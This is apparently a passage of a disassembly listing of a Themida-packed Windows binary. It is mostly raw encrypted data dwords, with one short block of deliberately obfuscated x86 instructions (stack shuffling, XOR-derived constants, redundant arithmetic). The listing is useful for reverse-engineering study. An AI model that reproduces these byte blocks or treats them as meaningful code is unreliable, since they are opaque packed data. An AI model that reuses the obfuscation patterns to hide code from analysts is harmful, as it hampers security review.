		dd 0EB38C293h, 5565E419h, 97D80076h, 0CA9AE530h, 0DB977946h
		dd 0C0F71507h, 0FDBB11CDh, 764DA6BDh, 37FED928h, 7E8B02Dh
		dd 0D4000000h, 0D37AC04Eh, 958949B5h, 6071381h,	0C870F5Eh
		dd 0F000000h, 682h, 800F00h, 81000000h,	685EC6h, 52EA8000h
		dd 68h,	0C1816600h, 8B5FFD98h, 702E585h, 3734FF06h, 12198D01h
		dd 0E95B0607h, 6, 14FB1B59h, 0F3817B5Ch, 38D8AC78h, 14E8h
		dd 22DB5400h, 8D6829AEh, 9596EF10h, 0B6EB2FC1h,	195246F5h
		dd 5D9D291Dh, 5906070Ah, 72D3C381h, 81F55D27h, 6FE133EBh
		dd 0DD8D8B6Dh, 53060700h, 8E8h,	0D0754300h, 0EA32BD71h
		dd 0BFE18052h, 3E048F5Ah, 0F9C8F080h, 0B403EF83h, 0FF814F5Ah
		dd 0FFFF9858h, 0FF87850Fh, 6657FFFFh, 506ADA81h, 11E859h
		dd 117B0000h, 9339E5D9h, 13D9374Ah, 0BD3F19D4h,	0BB8C0FE0h
		dd 243A7A1Ch, 58D0F59h,	0BB000000h, 407010D6h, 5EE2C181h
		dd 7E90000h, 0C7000000h, 0FE49B0A9h, 7768D327h,	66000017h
		dd 605EFE8Bh, 6E960h, 795F0000h, 0EBF02A8Eh, 61FAB70Fh
		dd 13E9h, 1901600h, 2FC7E8AAh, 649A5791h, 581C2B32h, 8F71D240h
		dd 8B018B61h, 70881BDh,	74F08106h, 0E91A234Bh, 13h, 0EEEFB854h
		dd 0AE781EABh, 475945C7h, 98B16A18h, 813420D6h,	5BB6A3F0h
		dd 0F281662Ch, 0E8815400h, 3E2F7B39h, 953350F5h, 60720E5h
		dd 11E9018Fh, 0B2000000h, 0ED04E821h, 393E89D9h, 58EDDDC6h
		dd 8BF2560Bh, 0BF03E983h, 10AD307h, 0BE949h, 70F90000h
		dd 72C18E5Eh, 8D7D7D2Dh, 850F4E53h, 14h, 26E9F8h, 2DD90000h
		dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 18718501h, 6AE90607h
		dd 0B7FFFFFFh, 402F90A4h, 0A5E89883h, 0C090EF3Ah, 8E8h
		dd 4A430200h, 0EACC61C7h, 5EEE8AECh, 9E9h, 0E392DB00h
		dd 192C2414h, 0C681C427h, 6F84h, 2925BD8Bh, 0EBBA0607h
		dd 8174344Eh, 343345EAh, 91BD8974h, 8B060705h, 6840F06h
		dd 81000000h, 0BF224DD7h, 8DF08131h, 8B25E4CBh,	729E19Dh
		dd 1DC08106h, 29198DDDh, 7052D8Dh, 0F8E88106h, 897CA988h
		dd 72C918Dh, 66068906h,	3F0AD181h, 6001EE83h, 12E9h, 0C0EAD800h
		dd 959ADE86h, 817D295Dh, 28EBD95Fh, 664BF174h, 618479B9h
		dd 604E4E4Eh, 14E9FCh, 0CE5B0000h, 6FC4BF4Ch, 0BDAF8C0Dh
		dd 0D978BF10h, 9943272Eh, 4A61C93Eh, 18850Fh, 3EB90000h
		dd 0E95EFBF9h, 31h, 0F4D90E84h,	0C45685C3h, 0F9BF1714h
		dd 6E9015Fh, 14000000h,	0B00EFDD2h, 0FF59E924h,	67EBFFFFh
		dd 1FD771Fh, 13672F8Dh,	766D12AAh, 96A46D08h, 0EE8ECh
		dd 0E4270000h, 0E09C52DBh, 18BC9634h, 0EB9D67C9h, 2F69958Bh
		dd 815F0607h, 83B08EBh,	44C78149h, 0F00005Bh, 3BED9BFh
		dd 81397184h, 719286F6h, 0E837FF39h, 10h, 0A99C518Dh, 53C6D74Fh
		dd 4D4A0130h, 9230EE52h, 5859DA8Bh, 0BE860h, 0EDD80000h
		dd 20703B25h, 0CC3C0BCEh, 0DD9D8BF7h, 5F060704h, 4CC08161h
		dd 0E958E2DBh, 6, 0A92724EDh, 0F08185D0h, 675426BBh, 35958B60h
		dd 0F06072Fh, 1882h, 12E800h, 0B6190000h, 78C72B3Bh, 63606A91h
		dd 0D570B66Ch, 0CF16A764h, 0F081615Bh, 8FA24AEh, 0BD1B589h
		dd 7890607h, 0FE8h
		db 0
byte_5A4BC9	db 0DFh, 76h, 8Ah	; DATA XREF: Themida_:0053DB2Co
		dd 0C2DB3453h, 35B36630h, 0A777F967h, 0EE9h, 0ECAB6400h
		dd 741D31A8h, 0B12DBE54h, 59168B59h, 7A26EF81h,	85895C46h
		dd 60702F1h, 7A22C781h,	8D315C46h, 607136Dh, 0F01EE83h
		dd 2885h, 8E800h, 0DFF80000h, 79A00FC4h, 6660C359h, 224CCE81h
		dd 61FB8B66h, 20E959h, 91A40000h, 0E386BFFEh, 20CC7768h
		dd 7D95290Ah, 0E9060728h, 0FFFFFF05h, 0E81A00A8h, 27C63317h
		dd 7582B32Bh, 690889A0h, 0A6DC7814h, 2249FF8Dh,	0A12E8636h
		dd 25908635h, 25480AD9h, 0E4990530h, 25148124h,	2576023Fh
		dd 98078630h, 23458321h, 57A58930h, 0E3908630h,	22414BB5h
		dd 7D4CC836h, 0A4868ACCh, 0E11A204h, 907BBA7Eh,	234592F1h
		dd 551903BDh, 0F56F803Ah, 0A08E76BBh, 23238FFDh, 16F7EE7Eh
		dd 11886ED0h, 87602314h, 34F77970h, 0A8278135h,	2FE0BEB5h
		dd 0AE987936h, 25343FC8h, 2DFB8630h, 83098630h,	258A033Fh
		dd 2E0B8630h, 0D5A489F9h, 0CC6F79CFh, 2548863Dh, 6EBF1BBDh
		dd 20AA8037h, 0DA098630h, 0AE390BD3h, 0A8448BB4h, 28A4CEBDh
		dd 823E36h, 0EA630000h,	75826FF1h, 690889A0h, 0A6DC7814h
		dd 2249FF8Dh, 0A12E8636h, 25908635h, 25480AD9h,	83990530h
		dd 0A4F305E9h, 22B9h, 218D8D00h, 8B060D86h, 718659Dh, 0D98D8906h
		dd 5306071Ah, 85C758F8h, 607101Dh, 5B40h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 34C35545h, 814D45C3h
		dd 2A7335C0h, 585C740h,	60733h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7CA9C355h
		dd 0FC6515CDh, 0D328A058h, 2039B5FFh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 796646C3h, 66822777h, 0FFD193BFh, 7185995h, 29F88B06h
		dd 7296D95h, 0FF006A06h, 70D6995h, 0EBC08B06h, 0D5383C4Fh
		dd 389BC21Ch, 4A41C9AAh, 97A3EA8Dh, 644FA055h, 0A3713E91h
		dd 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h, 956493F3h
		dd 0EBDC32C7h, 3F25694Dh, 0CD76D8A9h, 1ABB68F7h, 0B0A21491h
		dd 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 13E8h
		dd 0DEEE7800h, 0B45283F2h, 73D81CABh, 493BFC8Eh, 40EC2307h
		dd 7118D8Bh, 0E85A0607h, 12h, 0CF04124Bh, 0D4011236h, 4E8F9BC7h
		dd 2D105B09h, 0DF8B99E3h, 2CC28159h, 6600005Fh,	8BB8CF8Bh
		dd 8145D715h, 0D6FDF3E8h, 958D8B45h, 8B060702h,	0C4EE8132h
		dd 8935F863h, 71F85BDh,	78C68106h, 0F7B0C7Dh, 58Bh, 0C1816600h
		dd 0C681B38Fh, 66DF45E4h, 89CFBF0Fh, 0F1816632h, 0EA83AA9Ah
		dd 8810F04h, 0F000000h,	289h, 485B5100h, 28850Fh, 0F600000h
		dd 284h, 8BCB8B00h, 70E3DBDh, 26E96106h, 1E000000h, 0E6FDBA45h
		dd 0B96E2B94h, 0D3E866C7h, 0A8A0D823h, 0FE8BC825h, 0FFFF8AE9h
		dd 368ECDFFh, 19FFCFC3h, 65F96500h, 0AA04EB68h,	0E94410E7h
		dd 849h, 7A0FA6D7h, 7308A7D3h, 6E039ECCh, 68FD98C7h, 5EF38EC1h
		dd 0BDF0ABC3h, 0BBE88F24h, 0B4E68D22h, 0B5E58C21h, 52C08D22h
		dd 966AF364h, 19273E43h, 56DC3D70h, 47E1F612h, 3602EC8Dh
		dd 0A3F279E7h, 58DBD49h, 0A3F2A617h, 7D1EF149h,	0B1971FE8h
		dd 0A43DE47Fh, 0FD7F6D03h, 2847A2FEh, 0F427AE55h, 0C7B54573h
		dd 439CDE56h, 862DCEA1h, 10B74CEDh, 179E45E0h, 953062E7h
		dd 9D3ED706h, 828C45F6h, 3CD16494h, 0B5D4983Dh,	0B3AB2E1Fh
		dd 0A5406DA7h, 0AAAE2A3Ch, 0E552D4F6h, 0CEB859AFh, 53DAh
		dd 0F92C3E00h, 8A33C168h, 0EA7D45Bh, 862DCE67h,	0CF0203EDh
		dd 395AFF6Eh, 31CA710Ch, 151ABDC8h, 631CCD74h, 9D386BD5h
		dd 0CFCC0908h, 210E19AEh, 72000000h, 0C168F92Ch, 0A3F287F5h
		dd 52FBE149h, 0C9FB8A23h, 4EE872Eh, 7EB19FA9h, 2AAD4EE3h
		dd 23000000h, 4C7AF92Ch, 0D0710AB1h, 0C5F29B29h, 8DF83E28h
		dd 0E449A3F2h, 2D3679FCh, 10A1E030h, 0D37DCB26h, 4DE817A0h
		dd 0D76C0DA6h, 4C7C2565h, 24ACCFB9h, 36E6962Ch,	0A3F2D748h
		dd 654F2249h, 0A2D0611Fh, 92390C47h, 0AD42DD0Bh, 963DD806h
		dd 0D76D65EDh, 8707E754h, 6D5711FFh, 1705B565h,	439C7FA6h
		dd 608F1EF1h, 9B851EC5h, 9B5CFF55h, 0A0471A41h,	0F422EC35h
		dd 0D74836C6h, 223D955Ch, 6F18AE4Fh, 6A03AA3Dh,	0A4D27980h
		dd 35966209h, 593D955Ch, 60E78E29h, 82ED942Dh, 802FEF39h
		dd 89B761AFh, 8E35D000h, 4DBF54F5h, 2F89810Ah, 0A225C214h
		dd 0C30A4A3Eh, 0A0A18B04h, 963FD570h, 0A027CE67h, 4832D36Eh
		dd 0D4B4267Ch, 1CAEB411h, 1FEBh, 810A4F00h, 2DCE699Bh
		dd 0C63725D3h, 1149A3F2h, 0B125E43Eh, 963FE2Ch,	3E32E4F6h
		dd 0A8000000h, 0F0497C25h, 1F41AA59h, 27CE6F85h, 0F881A48Eh
		dd 95C16A00h, 254410FAh, 0CAB44D7Ch, 0F263D4C2h, 1DA049A3h
		dd 0F97B59DBh, 963B6DC4h, 0B65C781Bh, 98F32B15h, 2CB1253Eh
		dd 0F60963FEh, 69FC2CE4h, 71BBF6C2h, 0DE1E499Fh, 1F907E2Eh
		dd 6A499F71h, 7152C397h, 74BC499Fh, 2663D42Eh, 0E17043CBh
		dd 0D77017B2h, 9A8492EDh, 8F36CB6Ah, 9422C95Ch,	3721BCEBh
		dd 51840336h, 0C7781FC0h, 0E316000Eh, 17BEBD52h, 0C519B31Ch
		dd 5Ch,	0ADEA6AEDh, 0C899605Eh,	0C46B0639h, 2C75412Bh
		dd 34C269FCh, 3BF75E8Bh, 10AE2BE7h, 0B2D5BF60h,	8011442Ah
		dd 72A049DFh, 4D256ED7h, 10803E89h, 0C6301E26h,	147A1FDh
		dd 0D2730E40h, 0C964933Ch, 869F8922h, 0EAFF82C2h, 0F12C6C8Bh
		dd 94E4EB54h, 8DB20162h, 50FE48A3h, 7EF08520h, 0C269FC2Ch
		dd 3999119h, 0A2F7A715h, 0E3BE447h, 12B95481h, 9831D879h
		dd 0E7A31402h, 1BEE439Ch, 0CF643731h, 89810A5Dh, 7B1A4AF3h
		dd 0C214C591h, 0D369FC2Ch, 0C2D28050h, 958AF392h, 0BAEA795Dh
		dd 2665311Bh, 0B411D4B4h, 4CEB1CAEh, 4F000000h,	2F89810Ah
		dd 0F2C63725h, 800349A3h, 5C9A6BB2h, 0F0EAD469h, 0ACDE871Dh
		dd 25632F19h, 0CB34E7Ch, 20B1E473h, 25BA2E36h, 9190C5A2h
		dd 69FF260Fh, 0A3530A7Bh, 98825549h, 74CE6997h,	7C25E4F6h
		dd 7912B94Ch, 33948Fh, 0A0A0000h, 70F38981h, 615F84F7h
		dd 0F590BFEAh, 2A14B54Eh, 8775255Eh, 49A3F216h,	9CA48E61h
		dd 791443ECh, 0F2D8498Fh, 8AE549A3h, 2CB12530h,	0F60963FEh
		dd 877525E4h, 49A3F216h, 0A3A48E61h, 9F2DD473h,	432DC8F6h
		dd 9F71C2FDh, 3CE52549h, 71D2790Ch, 0ECA7F6BFh,	9F892A16h
		dd 1C4CFA44h, 1A4DF489h, 0D46EF187h, 0E93EB4F7h, 0E5738C76h
		dd 0E770A3Ch, 0BD5C93FCh, 0FAFBE549h, 0E8982EC7h, 9FBA89FAh
		dd 1701D449h, 8A944DFEh, 0F3CE595h, 0BA31A276h,	4575499Fh
		dd 6D572AB2h, 13A8396Ch, 0B2F7C114h, 3C1B19h, 2C7F0000h
		dd 19C269FCh, 5A039991h, 4DE68D28h, 0FB6D5B63h,	3847A2EDh
		dd 0AADC5D8Fh, 36D77017h, 0D87F524Ch, 82B78114h, 0EE73E4D2h
		dd 0F6BE439Ch, 9CEE9708h, 6E0FE243h, 0B4538384h, 0A225AD1Fh
		dd 0D3C1A66Ah, 49A3D362h, 0AF71DAADh, 74755F30h, 721BB144h
		dd 6700A746h, 33BB647Dh, 0F1871A4Dh, 0A35E9203h, 690ADD49h
		dd 5AA3E5D3h, 7B4E47A2h, 810A74E6h, 0C2142F89h,	0F69FC2Ch
		dd 11D4B426h, 0EB1CAEB4h, 38h, 9B810A4Fh, 7DEEDC6Ch, 0C849A3F2h
		dd 14AD54F5h, 37251973h, 49A3F2C6h, 25E43E11h, 63FE2CB1h
		dd 4F7C2509h
		dd 8395CCB6h, 3732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h
		dd 0F389810Ah, 0F2E45543h, 6E2F49A3h, 1C06A73Eh, 0C5752550h
		dd 0A3F266D7h, 0F4DEB149h, 0A3F23DAEh, 95EF4A49h, 0FE2CB125h
		dd 0E4F60963h, 0C269FC2Ch, 9F71BBF6h, 35DE1E49h, 18897707h
		dd 63499F71h, 0C086EF90h, 1748D0E8h, 0E5338E78h, 0D76C0B3Bh
		dd 0BE650030h, 0FF958D15h, 9EB42B11h, 0BED55847h, 9DB2305Ah
		dd 4E531A1Ah, 2A3197Bh,	0B54B1E18h, 9D44DD0Ch, 0A1131A04h
		dd 6C9B810Ah, 0F0912AD1h, 497C2596h, 8E7811B8h,	75252375h
		dd 0A3F21687h, 0A48E6149h, 7AD473A3h, 0B94C7C25h, 888F7912h
		dd 0B411D416h, 4AEB1CAEh, 4F000000h, 2F89810Ah,	9FCC7525h
		dd 0DCC65F06h, 0A3F22596h, 439D7049h, 16877525h, 6149A3F2h
		dd 0EC9CA48Eh, 1F2EA769h, 2A14E60Ah, 6EFE2C5Eh,	0A3F20F80h
		dd 1E875A49h, 1B9067D0h, 86203AFh, 3232E4F6h, 6C000000h
		dd 0DF796C3h, 89810A41h, 0C637252Fh, 0D349A3F2h, 0B1251E78h
		dd 16877525h, 6149A3F2h, 0F23AAB99h, 0B28549A3h, 0BA538211h
		dd 8F907A13h, 0F66CC661h, 877525E4h, 49A3F216h,	0E78E275Ah
		dd 0FD2BC64Eh, 0A74049D4h, 3562F192h, 7DADAE98h, 0B6A454EAh
		dd 49A35445h, 0BAD3BD90h, 9ED3B3EEh, 88275349h,	912C5AE1h
		dd 0F13F7AEAh, 0C6DDE46Dh, 13B43D5Ch, 0BC6AB447h, 0BD64F98Ch
		dd 0C553FA8Dh, 3B69EA1Ch, 0BF58FFA0h, 322AB2D5h, 3AC7F39Ch
		dd 28CF700Dh, 0AF9DA58Fh, 479D1E39h, 3EEC8154h,	0E2FA08Eh
		dd 0A77A4397h, 810AF1BDh, 2DCE699Bh, 25C214D3h,	0F2168775h
		dd 655349A3h, 49A3F1F4h, 11E46C3Fh, 5FF62627h, 0D4B42605h
		dd 1CAEB411h, 8DF454D7h, 5DF13554h, 247F73h, 0AE30000h
		dd 0D26D9B81h, 3725D731h, 49A3F2C6h, 25E43E11h,	63FE2CB1h
		dd 5EF724CDh, 0E4F6A874h, 4B32h, 810AA800h, 37252F89h
		dd 49A3F2C6h, 0C25B8AD3h, 87E1821Bh, 9FCC7525h,	0DCC65F06h
		dd 4F7C2510h, 0F262D3C1h, 0DAAD49A3h, 0FF99239h, 0AF45E00Eh
		dd 21C3C12Ch, 0C6B04D5Eh, 0F8A8F6FAh, 0E3068375h, 55295FF5h
		dd 49A3CDE4h, 0A6725C2Fh, 0C269FC2Ch, 3999119h,	0A2D0FB15h
		dd 2EC39647h, 4FE5DD65h, 91493861h, 232F341h, 0DAE4975h
		dd 27CF27A4h, 16B7065Fh, 2FB8E86Fh, 24BD6403h, 1244ED83h
		dd 0E78E957Fh, 630232B7h, 0F94F1BC2h, 0D0FF94A2h, 81F2E090h
		dd 0CCFB7212h, 6AB40FF9h, 63F98CBCh, 73CF31E0h,	64FDA443h
		dd 0B3B7D3FBh, 212D2EC9h, 0BEA8495Ah, 45E010B7h, 4DE8179Eh
		dd 9C453BA6h, 92EDD76Ah, 0CB6A9A84h, 0B1DF8836h, 0C0578716h
		dd 12A5D5D6h, 3EA6Bh, 5E600000h, 6AFB2C7Ch, 790C3CC3h
		dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
		dd 0B14C7A01h, 0B857830Ah
		db 11h,	67h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	7210h
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	2F713DEDh
		pop	ebx
		xor	ebx, 297CBAB8h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	4D7Dh
		mov	[esp], ecx
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		dw 0B15Dh
		dd 0B24763E9h, 8F0FB88Ah, 0C503060Dh, 0E0FE0FFh, 32344654h
		dd 72277D64h, 8D8D0D43h, 60D908Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 94C35343h, 0C1364C97h, 3A23BE66h
		dd 1AD98D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 113B4C3h, 85C781B2h, 607101Dh, 72F0h
		dd 0EF816660h, 0BFBBD53Dh, 615C1AD5h, 330585C7h, 607h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 858FB8C3h, 283B3DBAh, 0B5FFF024h,	6070859h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 56C35141h
		dd 820F3CEFh, 6, 14B59D29h, 95FF0607h, 6071859h, 51D8589h
		dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B97269EBh, 0C4FDA033h
		dd 8EAC4235h, 564C3747h, 653B587Dh, 42EFFC42h, 952D5A2Eh
		dd 558C7396h, 79CEBE57h, 558855CFh, 29B9C5Bh, 45C334BBh
		dd 0D01E934Dh, 5426B0A0h, 87672370h, 7280E7EFh,	7A6E1AD6h
		dd 0AB9DA771h, 2B898CE7h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h
		dd 6711C11Fh, 0B04781D5h, 0C67BBBE7h, 17A9EBFh,	0E87BEC6Ch
		dd 13h,	49BD9E78h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 8986D5DAh
		dd 71115B5h, 8D895F06h,	6072A11h, 68B8C781h, 8B660000h
		dd 1A01B8DAh, 9D8B0000h, 6071DDDh, 6653178Bh, 815BD88Bh
		dd 3411DCC2h, 5EF85117h, 206DF281h, 9D2902BCh, 6070AB1h
		dd 0F090EA81h, 0CE8121EFh, 50D06D80h, 0CE952h, 0C2F70000h
		dd 0E242DBB4h, 0B3A438C5h, 78F49F3h, 68A0Fh, 0BD890000h
		dd 6070591h, 8B04EF83h,	850F48CFh, 19h,	2BE9h, 97BAF700h
		dd 0A083C8E2h, 0CBB5E5ADh, 0DF8562EBh, 1CD89F0Bh, 8DE9F937h
		dd 0E3FFFFFFh, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h, 7DD362A1h
		dd 927B8D8Dh, 0B509060Dh, 6070F29h, 1AD98D89h, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 67EEF3C3h, 0F08BE2A8h, 101D85C7h, 67D80607h,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 9057D7C3h, 6A59589h,	85C70607h, 6073305h, 0
		dd 2669BD8Bh, 0B5FF0607h, 6071E25h, 0DE8h, 0DAD3D100h
		dd 3C61978Fh, 4ABAE062h, 84B7BD28h, 5995FF5Fh, 6A060718h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 40E9C352h, 0FAD6127Dh, 0FAB3CF8h,	17B8F0BFh
		dd 6A54817Ah, 6995FF00h, 8B06070Dh, 926FEBC0h, 3FEA119Ah
		dd 7118D484h, 0FC345675h, 0A27B9719h, 126B11DDh, 4A6E2A64h
		dd 5DCBC704h, 0A25769CFh, 4F30E161h, 3FB7A9F4h,	0E3230C8Bh
		dd 576EE177h, 8328F0D1h, 5B689740h, 4C7B721h, 0CF89D862h
		dd 4329FE5h, 1BE13AEFh,	0BBFB2023h, 3529052Fh, 54B1EE95h
		dd 0E261C565h, 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0B42146C2h
		dd 8E50F5F0h, 8D8DC263h, 60D93A7h, 1F559589h, 8D890607h
		dd 6071AD9h, 32B96660h,	0BBBF66FDh, 85C7619Dh, 607101Dh
		dd 6234h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	8EC35242h, 2E9ECBB2h, 0F8E61B9Eh, 330585C7h, 607h
		dd 0F98A0000h, 0A21B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 1BD4A5C3h, 59A90E94h
		dd 800F5413h, 0
		dd 185995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A8F051C3h, 30DF81D5h, 6A4DD818h
		dd 6995FF00h, 8B06070Dh, 371AEBC0h, 0B92A2124h,	462D05BBh
		dd 608184DAh, 0F88672D0h, 0C929E138h, 0BE93EDC6h, 7E852h
		dd 36440000h, 0C4A54AE9h, 605BF81Dh, 860F9DB0h,	3, 61D7B70Fh
		dd 61F2C381h, 0C92B0000h, 0C1BF0F50h, 1934FF58h, 0E95AC38Bh
		dd 13h,	2B42DAACh, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h, 81065255h
		dd 0D05B88EAh, 40B8663Bh, 0D4F281F9h, 8170A705h, 56093CC2h
		dd 852B524Ah, 60729F5h,	0E90B048Fh, 5, 905D7291h, 4E983CEh
		dd 9E9h, 3FD06300h, 60047DEAh, 0F981593Dh, 0FFFF9EB4h
		dd 0FF9B850Fh, 5760FFFFh, 94BABF66h, 8D8B605Ah,	60728F5h
		dd 0DE9h, 0E6E77500h, 355A26FEh, 51458F78h, 6161C404h
		dd 955B8D8Dh, 6A060Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4EE7CDC3h, 3C17CB31h, 0B50193D8h
		dd 60725D5h, 5C98589h, 8D890607h, 6071AD9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 23C35040h, 7737780Dh
		dd 0F58A7D25h, 0D18B6650h, 2D853158h, 0C706072Ah, 7101D85h
		dd 72E006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0B2D70B17h, 8B089CFAh, 72C7D9Dh
		dd 585C706h, 60733h, 0FF000000h, 72639B5h, 0D2BF0F06h
		dd 185995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0A86AE9C3h, 9317482Fh, 60D081F5h
		dd 6A3A4D41h, 6995FF00h, 8B06070Dh, 754CEBC0h, 63320C4Ch
		dd 2EC42046h, 170830E4h, 65A23353h, 0E49AD743h,	7C1913ECh
		dd 8F3F1BDDh, 0ADA95A22h, 6EA19E14h, 7A172917h,	0A587DD50h
		dd 6C8F293Fh, 0C53EFD42h, 13710ECCh, 93A62B0Ch,	67D609h
		dd 0F92BE5A3h, 7FF55973h, 8D20E41Eh, 0D96298Dh,	8D89F806h
		dd 6071AD9h, 0F42BE66h,	0C7D3B70Fh, 7101D85h, 63E006h
		dd 0C7DA8B00h, 7330585h, 6, 0A8BF6600h,	31B5FF0Ah, 0E8060715h
		dd 14h,	3EB2F386h, 1EF29B2Ch, 45EA57E1h, 65FC80Eh, 15D25C5Dh
		dd 14E8h, 0B866D700h, 0EF84C81h, 5C2AC205h, 0ADC68931h
		dd 1485E9BBh, 5E5F56F6h, 5995FF5Ah, 81060718h, 4A7AB3D0h
		dd 0FF006A75h, 70D6995h, 0EBC08B06h, 8B3AB909h,	0A9E54939h
		dd 5FE998E6h, 52000001h, 0E860D48Bh, 0
		dd 45ED815Dh, 8B060D96h, 453D0842h, 0F782638h, 13885h
		dd 0C428B00h, 0D3184A8Bh, 0B305BBC8h, 0C3335FFAh, 8904E883h
		dd 71AD985h, 4588B06h, 428BF88Bh, 184A8B10h, 5BBEC8D3h
		dd 33D86B6Eh, 83C72BC6h, 0E883FCE0h, 1D858904h,	8B060710h
		dd 85891442h, 6073305h,	5318428Bh, 0B0E9h, 85B5FF00h, 0E906070Eh
		dd 0B9h, 5D1B5FFh, 0AEE90607h, 0FF000000h, 712B5B5h, 0A3E906h
		dd 0B5FF0000h, 6071171h, 98E9h,	59B5FF00h, 0E9060708h
		dd 8Dh,	1351B5FFh, 82E90607h, 0FF000000h, 72639B5h, 77E906h
		dd 0B5FF0000h, 6071531h, 6CE9h,	0E9B5FF00h, 0E906070Bh
		dd 61h,	124DB5FFh, 56E90607h, 0FF000000h, 707C5B5h, 4BE906h
		dd 0B5FF0000h, 6072D31h, 40E9h,	69B5FF00h, 0E9060704h
		dd 35h,	1E25B5FFh, 2AE90607h, 0FF000000h, 70A21B5h, 1FE906h
		dd 0B5FF0000h, 6072039h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 0D96A68Dh, 0FFC80306h, 5995FFE1h, 5B060718h,	1AD9858Bh
		dd 58390607h, 0F850F04h, 53000000h, 95FF016Ah, 6070D69h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 60700A1h, 97948D8Dh,	4189060Dh, 0E8C38B01h, 13h, 38E119h
		dd 3B18EE0Ah, 2D533925h, 8045DCB4h, 5FC1BE20h, 0BB665656h
		dd 5E58FB81h, 6B0AC781h, 1FBA0000h, 810A2A42h, 0D5D872C2h
		dd 0F6BF0FF5h, 0F48037FFh, 81F559C1h, 9DB436C1h, 8106B34Dh
		dd 0A9554EF1h, 8143B728h, 0CDF192C1h, 89C18B19h, 0D98B660Fh
		dd 8D76EF81h, 10E83AF7h, 0AE000000h, 4B076150h,	0FCE0D4CCh
		dd 0DCCA9805h, 0FC9E2703h, 72C7815Eh, 0E83AF78Dh, 0Eh
		dd 5DB4D9Dh, 88873A0Dh,	89C0D317h, 0BF0F36C7h, 0F4A5EF6h
		dd 1B85h, 0D9B70F00h, 2DE9h, 43E9D100h,	74EC17BBh, 3D3D9C25h
		dd 6B2F4154h, 18481A60h, 5840Fh, 2EBE0000h, 0E962D8DBh
		dd 0FFFFFF70h, 7EC0B275h, 509AAB8Ah, 85C6493Dh,	60709CDh
		dd 30DF6856h, 0B5FFA9C5h, 6070D99h, 7038858Dh, 0D0FF060Ah
		dd 1A018D8Dh, 6A510607h, 89B5FF40h, 0FF06071Eh,	719B5B5h
		dd 0FFD0FF06h, 71E89B5h, 0B5B5FF06h, 0E8060719h, 14h, 6A80AFF9h
		dd 48D15F09h, 78ADC599h, 32C32B57h, 0D42942A0h,	0EF835F5Fh
		dd 242CC104h, 2424C102h, 243C0302h, 68241CF7h, 0
		dd 370C8B5Eh, 0D75AF181h, 0E9815F6Fh, 6579E4E3h, 0DEDCE981h
		dd 8F510C72h, 0EE833704h, 343B4E03h, 17850F24h,	0E9000000h
		dd 25h,	437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh, 2B052199h, 0BEE9BD59h
		dd 2CFFFFFFh, 0F943C7CCh, 0C18899Bh, 958815BEh,	899D8DC3h
		dd 8B06070Ch, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0ABE9C98Bh
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
